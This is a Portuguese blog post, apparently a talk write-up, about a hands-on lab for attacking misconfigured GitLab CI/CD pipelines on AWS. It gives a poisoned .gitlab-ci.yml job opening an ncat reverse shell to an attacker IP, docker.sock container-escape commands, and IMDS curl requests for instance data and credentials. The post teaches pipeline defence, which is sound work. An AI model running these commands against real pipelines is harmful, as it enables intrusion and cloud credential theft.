Ir para o conteúdo principal

CI/CDon’t: Um Lab sobre Invasão de Pipelines

·394 palavras·2 minutos·
Fernando Guisso
Autor
Fernando Guisso
Compartilhando e aprendendo, hack the planet!

Como um simples .gitlab-ci.yml pode comprometer toda a sua infraestrutura na AWS?

Neste artigo, vou compartilhar uma palestra que apresentei sobre o lab Ci/CDont — um laboratório criado para demonstrar, de forma prática, como pipelines CI/CD mal configuradas podem se transformar em verdadeiras portas de entrada para invasores.


Outros Labs que Você Pode Explorar
#

Se você curte labs hands-on de segurança em nuvem, recomendo essas plataformas:

Por que o CI/CDon’t?
#

Esse lab nos ajuda a:

  • Entender como pipelines podem ser exploradas por atacantes reais
  • Simular ataques usando GitLab + AWS
  • Desenvolver o olhar defensivo com base em exploração real
  • Praticar sozinho ou em grupo com poucos recursos

Etapa 1 — Acesso ao GitLab
#

O atacante pode iniciar o ataque por:

  • Registro aberto no GitLab com acesso a repositórios e jobs
  • Comprometimento de contas por:

Dica: Segurança do usuário importa — sempre.

Etapa 2 — Pipeline Poisoning
#

Com acesso ao repositório, o atacante modifica o .gitlab-ci.yml para injetar código malicioso.

build-job:
  stage: build
  script:
    - apt update
    - apt install -y ncat
    - ncat <ip_do_atacante> --ssl -e /bin/bash -v

Esse ataque permite executar um reverse shell e obter acesso direto ao runner da pipeline.

Saiba mais: GitLab CI/CD Pipelines

Etapa 3 — Escalada de Privilégios
#

Com acesso ao runner, o atacante:

  • Busca scripts rodando como root
  • Abusa de permissões mal configuradas
  • Enxerga recursos internos da rede
  • E às vezes… encontra o docker.sock

Etapa 4 — Docker Socket e Escapando do Container
#

Se o docker.sock estiver acessível no container, o atacante pode escapar facilmente:

docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

🔥 Isso dá acesso ao host com permissões do processo PID 1.

Etapa 5 — Explorando o IMDS
#

O IMDS (Instance Metadata Service) fornece dados da instância, incluindo credenciais temporárias IAM.

# IMDSv2
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data/

Com isso, o atacante pode acessar outros recursos na AWS como se fosse a própria instância.

Lições Aprendidas
#

  • CI/CD é infraestrutura crítica — trate como tal
  • Proteja: